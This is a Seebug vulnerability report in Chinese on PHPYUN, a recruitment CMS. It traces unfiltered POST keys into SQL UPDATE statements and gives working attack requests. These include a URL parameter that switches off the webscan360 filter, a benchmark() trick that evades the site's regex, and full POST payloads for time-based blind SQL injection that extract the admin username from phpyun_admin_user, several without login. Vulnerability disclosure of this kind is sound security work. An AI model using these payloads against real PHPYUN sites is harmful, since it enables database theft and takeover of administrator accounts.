PHPYUN最新版Webscan绕过注入四处(可遍历全站信息,无需登录)

2015-07-16T00:00:00
ID SSV:93988
Type seebug
Reporter Root
Modified 2015-07-16T00:00:00

Description

简要描述:

PHPYUN最新版Webscan绕过注入两处(可遍历全站信息,无需登录)

详细说明:

首先看问题文件: tiny/index.class.php:

``` class index_controller extends common{ function index_action(){

    session_start();
    if($this->config['sy_wjl_web']=="2"){
        header("location:".Url('error'));
    }

    if($_GET['keyword']=='请输入简历关键字,例如:会计'){
        $_GET['keyword']='';
    }
    $M=$this->MODEL('tiny');
    $ip = fun_ip_get();
    $s_time=strtotime(date('Y-m-d 00:00:00')); 
    $m_tiny=$M->GetTinyresumeNum(array('login_ip'=>$ip,'`time`>\''.$s_time.'\''));
    $num=$this->config['sy_tiny']-$m_tiny;
    $CacheM=$this->MODEL('cache');
    $CacheList=$CacheM->GetCache(array('user'));
    $this->yunset($CacheList);
    if($_POST['submit']){

        $id=(int)$_POST['id'];
        $authcode=md5($_POST['authcode']);
        $password=md5($_POST['password']);
        unset($_POST['authcode']);
        unset($_POST['password']);
        unset($_POST['submit']);
        unset($_POST['id']);
        $_POST['status']=$this->config['user_wjl'];
        $_POST['login_ip']=$ip;
        $_POST['time']=time();
        $_POST['qq']=$_POST['qq'];

        if($id!=""){
            $arr=$M->GetTinyresumeOne(array('id'=>$id,'password'=>$password));
            if(empty($arr)){
                $this->ACT_layer_msg("密码不正确",8,$_SERVER['HTTP_REFERER']);
            }

            $M->UpdateTinyresume($_POST,array('id'=>$id));

```

跟踪UpdateTinyresume:

function UpdateTinyresume($Values=array(),$Where=array()){ $WhereStr=$this->FormatWhere($Where); $ValuesStr=$this->FormatValues($Values); return $this->DB_update_all('resume_tiny',$ValuesStr,$WhereStr); }

继续跟踪FormatValues

``` function FormatValues($Values){ $ValuesStr='';

    foreach($Values as $k=>$v){
        if(is_numeric($k)){
            $ValuesStr.=','.$v;
        }else{
            if(is_numeric($v)){
                $ValuesStr.=',`'.$k.'`='.$v;
            }else{
                $ValuesStr.=',`'.$k.'`=\''.$v.'\'';
            }
        }
    }
    return substr($ValuesStr,1);
}

```

看到这里说明key没有进行过滤,同样的问题文件也有一处 wap/tiny.class.php:

``` function add_action(){

    $this->rightinfo();
    if($this->config['sy_wjl_web']=="2"){
        $data['msg']='很抱歉!该模块已关闭!';
        $data['url']='index.php';
        $this->yunset("layer",$data);
    }
    $this->get_moblie();
    $TinyM=$this->MODEL('tiny');

    if($_GET['id']){
        $row=$TinyM->GetTinyresumeOne(array('id'=>$_GET[id]));
        $this->yunset("row",$row);
    }
    if($_POST['submit']){
        $_POST['status']=$this->config['user_wjl'];
        $_POST['time']=time();
        $_POST['username']=yun_iconv('utf-8','gbk',trim($_POST['username']));
        $_POST['production']=yun_iconv('utf-8','gbk',trim($_POST['production']));
        $_POST['job']=yun_iconv('utf-8','gbk',trim($_POST['job']));
        $password=md5(trim($_POST['password']));
        $type=trim($_POST['type']);
        unset($_POST['submit']);
        unset($_POST['type']);
        $id=intval($_POST['id']);
        if(!isset($_POST['id'])){
            $_POST['password']=$password;
            $nid=$this->obj->insert_into("resume_tiny",$_POST);
            $nid?$data['msg']='操作成功!':$data['msg']='操作失败!';
            $data['url']='index.php?c=tiny';
        }else{
            $arr=$TinyM->GetTinyresumeOne(array('id'=>$id,'password'=>$password));
            if($arr['id']){
                if($_POST['id']){
                    unset($_POST['id']);
                    $nid=$TinyM->UpdateTinyresume($_POST,array("id"=>$arr['id']));

```

原理是一样的,我们就拿第一个分析一下: phpyun 有webscan360的防御,我们可以通过在url中添加参数使他时效,例如 http://localhost/phpyun40https://images.seebug.org/upload/tiny/index.php?admin_dir=admin 然后phpyun也有自己的防御,但是这个可以绕过

``` function safesql($StrFiltKey,$StrFiltValue,$type){

 $getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\(.*\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\(.*\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter = "benchmark\s*?\\(\d+?|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

if($type=="GET")
{
    $ArrFiltReq = $getfilter;
}elseif($type=="POST"){

    $ArrFiltReq = $postfilter;

```

并且其中的空格会被替换为下划线 看看这个正则benchmark\s*?\(\d+? 这个等于没有防御,benchmark((1000000),md5(123)),1)轻松就绕过了 有了这些条件,我们就可以轻松遍历整个数据库了 发送url: http://localhost/phpyun40https://images.seebug.org/upload/tiny/index.php?admin_dir=admin postdata: username=test123&sex=7&exp=18&job=ccc&mobile=15802991419&qq=11111111&production%3Dif(ascii(substr((selectusernamefromphpyun_admin_user`),1,1))%3D97,benchmark((1000000),md5(123)),1)%23=xxxxxxxxxx&password=111111&authcode=ag31&id=1&submit=%B7%A2%B2%BC 这个我们就猜测出来admin表里面的username第一个字母为a

<img src="https://images.seebug.org/upload/201507/14235623fe024c5461ea9b4bc9679c6440ff7918.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

然后就可以全站遍历了 3、 friend/index.class.php:

function saveinfo_action(){ if($_POST['submitBtn']){ $M=$this-&gt;MODEL('friend'); unset($_POST['submitBtn']); $nid=$M-&gt;SaveFriendInfo($_POST,array("uid"=&gt;$this-&gt;uid)); if($nid){ $state_content = "我刚修改了个性签名 [".$_POST['description']."]。"; $this-&gt;addstate($state_content); $M-&gt;member_log("修改朋友圈基本信息"); $this-&gt;ACT_layer_msg("更新成功!",9,$_SERVER['HTTP_REFERER']); }else{ $this-&gt;ACT_layer_msg("更新失败!",8,$_SERVER['HTTP_REFERER']); } } }

跟进函数: SaveFriendInfo

function SaveFriendInfo($Values=array(),$Where=array()){ if(empty($Where)){ $ValuesStr=$this-&gt;FormatValues($Values); return $this-&gt;DB_insert_once('friend_info',$ValuesStr); }else{ $WhereStr=$this-&gt;FormatWhere($Where); $ValuesStr=$this-&gt;FormatValues($Values); return $this-&gt;DB_update_all('friend_info',$ValuesStr,$WhereStr); } }

跟进FormatValues:

``` function FormatValues($Values){ $ValuesStr='';

    foreach($Values as $k=&gt;$v){
        if(is_numeric($k)){
            $ValuesStr.=','.$v;
        }else{
            if(is_numeric($v)){
                $ValuesStr.=',`'.$k.'`='.$v;
            }else{
                $ValuesStr.=',`'.$k.'`=\''.$v.'\'';
            }
        }
    }
    return substr($ValuesStr,1);
}

```

key没有进行过滤: 怎么绕过,前两个已经说过了,这里不多做赘述,这个直接不需要任何条件约束 url: http://localhost/phpyun40https://images.seebug.org/upload/index.php?admin_dir=admin&c=index&m=friend&a=saveinfo postdata: uid%3dif(ascii(substr((selectusernamefromphpyun_admin_user`),1,1))%3d97,benchmark((1000000),md5(123)),1)%23=xxxxx&submitBtn=%B6%A9%D4%C4

<img src="https://images.seebug.org/upload/201507/1601041799b41ae800ffac8a2f0e52a7487e45d3.png" alt="3.png" width="600" onerror="javascript:errimg(this);">

4、once.class.php:

``` function add_action(){ $this->rightinfo();

    if($this-&gt;config['sy_wzp_web']=="2"){
        $data['msg']='很抱歉!该模块已关闭!';
        $data['url']='index.php';
        $this-&gt;yunset("layer",$data);
    }
    $this-&gt;get_moblie();
    $TinyM=$this-&gt;MODEL('once');
    if($_GET['id']){
        $row=$TinyM-&gt;GetOncejobOne(array('id'=&gt;$_GET[id]));
        $row['edate']=round(($row['edate']-$row['ctime'])/3600/24) ;
        $this-&gt;yunset("row",$row);
    }
    if($_POST['submit']){
        $_POST=$this-&gt;post_trim($_POST);
        $_POST['mans'] = (int)$_POST['mans'];
        $_POST = yun_iconv('utf-8','gbk',$_POST);
        $_POST['status']=$this-&gt;config['com_fast_status'];
        $_POST['ctime']=time();
        $_POST['edate']=strtotime("+".(int)$_POST['edate']." days");
        $password=md5(trim($_POST['password']));
        unset($_POST['submit']);
        $id=intval($_POST['id']);
        if($id&lt;1){
            $_POST['password']=$password;
            $nid=$TinyM-&gt;AddOncejob($_POST);
            $nid?$data['msg']='操作成功!':$data['msg']='操作失败!';
            $data['url']='index.php?c=once';
        }else{
            $arr=$TinyM-&gt;GetOncejobOne(array('id'=&gt;$id,'password'=&gt;$password));
            if($arr['id']){
                if($_POST['id']){
                    unset($_POST['id']);
                    unset($_POST['password']);
                    $nid=$TinyM-&gt;UpdateOncejob($_POST,array("id"=&gt;$arr['id']));

```

跟进去: UpdateOncejob:

``` function UpdateOncejob($Values=array(),$Where=array()){ $WhereStr=$this->FormatWhere($Where); $ValuesStr=$this->FormatValues($Values);

    return $this-&gt;DB_update_all('once_job',$ValuesStr,$WhereStr);
}

```

再跟进FormatValues:

``` function FormatValues($Values){ $ValuesStr='';

    foreach($Values as $k=&gt;$v){
        if(is_numeric($k)){
            $ValuesStr.=','.$v;
        }else{
            if(is_numeric($v)){
                $ValuesStr.=',`'.$k.'`='.$v;
            }else{
                $ValuesStr.=',`'.$k.'`=\''.$v.'\'';
            }
        }
    }
    return substr($ValuesStr,1);
}

```

key没有进行过滤: 有两个问题要解决,就是 if($arr['id']){ 这个逻辑怎么成立 阅读上下,只要当传递的id小于1的时候就会进行 if($id<1){ $_POST['password']=$password; $nid=$TinyM->AddOncejob($_POST); 也就是说第一次id访问为空的时候,数据库就会插入一条id=1的或者id>1的记录 url: http://localhost/phpyun40https://images.seebug.org/upload/index.php?admin_dir=admin&c=once&m=wap&a=add postdata: mans=123&password=123&id=&submit=%B6%A9%D4%C4

<img src="https://images.seebug.org/upload/201507/160046300fc541e7d526325bb414acba2fd51afd.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

然后我们后续就可以复制id为1,就可以走到问题的那个函数: url: http://localhost/phpyun40https://images.seebug.org/upload/index.php?admin_dir=admin&c=once&m=wap&a=add postdata: mans=123&password=123&id=1&title%3dif(ascii(substr((selectusernamefromphpyun_admin_user`),1,1))%3d97,benchmark((1000000),md5(123)),1)%23=xxxxx&submit=%B6%A9%D4%C4

<img src="https://images.seebug.org/upload/201507/16004746e8a7f214bb310c32dc2c4dbc7005cd6c.png" alt="2.png" width="600" onerror="javascript:errimg(this);">

造成延时

漏洞证明: